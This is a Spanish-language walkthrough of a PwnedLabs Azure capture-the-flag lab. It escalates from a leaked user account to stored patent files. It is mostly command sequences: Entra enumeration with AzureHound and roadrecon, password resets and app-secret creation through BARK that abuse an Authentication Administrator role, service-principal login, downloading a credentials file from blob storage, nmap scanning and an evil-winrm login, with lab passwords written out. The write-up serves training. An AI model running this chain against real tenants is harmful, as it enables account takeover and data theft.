Execute Azure Credential Shuffle to Achieve Objectives

Execute Azure Credential Shuffle to Achieve Objectives


Azure PwnedLabs

Disconnect-AzAccount

az logout

Lo primero que todo es tratar de desconectar y empezar desde 0.

az login -u dbuser@megabibtech.com -P V%#J3c5jceryjcE

az account show | jq -r "{homeTenantId}"

ssh_command.

Connect-AzAccount -AccountId "dbuser@megabigtech.com"

ssh_command.

Get-AzResource

ssh_command.

Generamos el json para poder usarlo en bloodhoundCE

.\azurehound.exe -u dbuser@megabibtech.com -P V%#J3c5jceryjcE list --tenant '2590ccef-687d-493b-ae8d-441cbab63a72' -o output.json

ssh_command.

roadrecon auth -u dbuser@megabigtech.com -p "V%#J3c5jceryjcE"

roadrecon gather

roadrecon gui

ssh_command.

Empezamos a ver si tienen unidades Administrativas y vemos que tienen 5.

ssh_command.

Nos ponemos a ver al usuario y en verdad no despliega nada importante.

ssh_command.

Corremos docker para bloodhoundCE.

docker-compose -f bloodhound.yml up

ssh_command.

Subimos el archivo json.

ssh_command.

Al escoger el usuario dbuser vemos que tiene un rol de authentication administrator.

ssh_command.

Tiene el poder de ver, configurar y restablecer la información del método de autenticación para cualquier usuario que no sea administrador.

ssh_command.

Regresamos a roadrecon y vemos los roles.

ssh_command.

Vemos que dbuser es parte de Authentication Administrator.

ssh_command.

Le damos click al enlace y nos despliega Megabigtech-Unit1. En el que Daiki Hiroko es un miembro.

ssh_command.

Import-Module .\BARK.ps1

$MyRefreshTokenRequest = Get-EntraRefreshTokenWithUsernamePassword -username "dbuser@megabigtech.com" -password "V%#J3c5jceryjcE" -TenantID "2590ccef-687d-493b-ae8d-441cbab63a72"

Generamos tokens.

ssh_command.

Set-EntraUserPassword -TargetUserId Daiki.Hiroko@megabigtech.com -Token $MyRefreshTokenRequest.access_token -Password "Password12345!!"

ssh_command.

Aqui podemos ver que Daiki es dueno de DaikiAppspn

ssh_command.

Y en la siguiente imagen vemos que esa aplicacion tiene acceso al service principal id.

ssh_command.

En roadrecon se ve de esta manera.

ssh_command.

Aqui podemos ver el id de daiki-appspn

ssh_command.

Lo que vamos hacer es cambiar la contrasena de daiki-appspn para poder tener acceso al service principal f92ac1b8-937e-4cb1-8555-572c57e00331

.\BARK.ps1

$MyRefreshTokenRequest = Get-EntraRefreshTokenWithUsernamePassword -username "dbuser@megabigtech.com" -password "V%#J3c5jceryjcE" -TenantID "2590ccef-687d-493b-ae8d-441cbab63a72"

ssh_command.

Set-EntraUserPassword -TargetUserId Daiki.Hiroko@megabigtech.com -Token $MyRefreshTokenRequest.access_token -Password "Password12345!!"

ssh_command.

Ahora que le cambiamos las credenciales a Daiki seguimos con los siguientes pasos.

$NewRefreshTokenRequest = Get-EntraRefreshTokenWithUsernamePassword -username "Daiki.Hiroko@megabigtech.com" -password "Password12345!!" -TenantID "2590ccef-687d-493b-ae8d-441cbab63a72"

New-EntraAppSecret -AppRegObjectID 'ab743eea-102d-486f-8b76-b833180694c3' -Token $NewRefreshTokenRequest.access_token

Esto nos entrega el AppRegAppId y el AppRegSecretValue. Creamos un secreto nuevo.

ssh_command.

Vemos la id de la aplicacion.

ssh_command.

az login --service-principal --username "3626d80c-9f3b-48f9-a445-65a1ad9129af" --password "Ax58Q~1uebLFaf6q.joe~c3MeS4YS16a9ABD3ahK" --tenant "2590ccef-687d-493b-ae8d-441cbab63a72"

Iniciamos sesion de nuevo.

ssh_command.

$passw = ConvertTo-SecureString "Ax58Q~1uebLFaf6q.joe~c3MeS4YS16a9ABD3ahK" -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('3626d80c-9f3b-48f9-a445-65a1ad9129af',$passw)

Connect-AzAccount -ServicePrincipal -Credential $cred -Tenant "2590ccef-687d-493b-ae8d-441cbab63a72"

ssh_command.

Get-AzResource

az resource list --query "[].{name:name}" -o table

Get-AzRoleAssignment

Vemos lo imortante como la cuenta es storageqaenv y el contenedor es general-purpose

ssh_command.

az storage blob list --account-name storageqaenv --container-name 'general-purpose' --output table --auth-mode login

Vemos a ver si tienen algunos recursos que podamos bajar.

ssh_command.

az role assignment list --assignee "3626d80c-9f3b-48f9-a445-65a1ad9129af" --all --output table

az account show

Podemos ver que tenemos acceso para leer.

ssh_command.

az storage blob download --account-name storageqaenv --container-name 'general-purpose' --name Dev-cred.txt --file Dev-cred.txt --auth-mode login

Bajamos el archivo Dev-cred.txt

ssh_command.

type .\Dev-cred.txt

$passwd = ConvertTo-SecureString 'H$hb74h$lkn' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('serveruser',$passwd)

$vm = New-PSSession -ComputerName 172.191.90.57 -Credential $cred -SessionOption (New-PSSessionOption ProxyAccessType NoProxyServer) Enter-PSSession -Session $vm

ssh_command.

nmap -p- --open -sS -min-rate 5000 -vvv -n -Pn 172.191.90.57 -oG allPorts

ssh_command.

nmap -sCV -p5985 -Pn 172.191.90.57 -oN targeted

ssh_command.

Ejecutamos evil-winrm para poder conectarnos a la maquina.

evil-winrm -i 172.191.90.57 -u devuser -p 'Oi8#w0rd!VM2023'

ssh_command.

whoami /priv

cd C:\Packages\Plugins\Microsoft.Compute.CustomScriptExtension

cd 1.10.15

ssh_command.

cd Downloads

cd 0

type customextensiontest.ps1

ssh_command.

Iniciamos sesion.

az logout

az login -u serveruser@megabigtech.com -p 'H$hb74h$lkn'

az resource list --query "[].{Name:name, Type:type, ResourceGroup:resourceGroup, Identity:identity,ID:id}"

Tratamos de ver que recursos tenemos asignado a la cuenta.

ssh_command.

Y vemos que tenemos los siguientes contenedores.

az storage container list —account-name storageqaenv —query ”[].name” -o tsv —auth-mode login

ssh_command.

Desplegamos la lista que se encuentra en patent-documents.

az storage blob list —account-name storageqaenv —container-name ‘patent-documents’ —output table —auth-mode login

Bajamos el archivo Granted Patent.txt.

az storage blob download —account-name storageqaenv —container-name ‘patent-documents’ —name “Granted Patent.txt” —file “Granted Patent.txt” —auth-mode login

ssh_command.

type Granted Patent.txt

© 2025 Cu3rv0x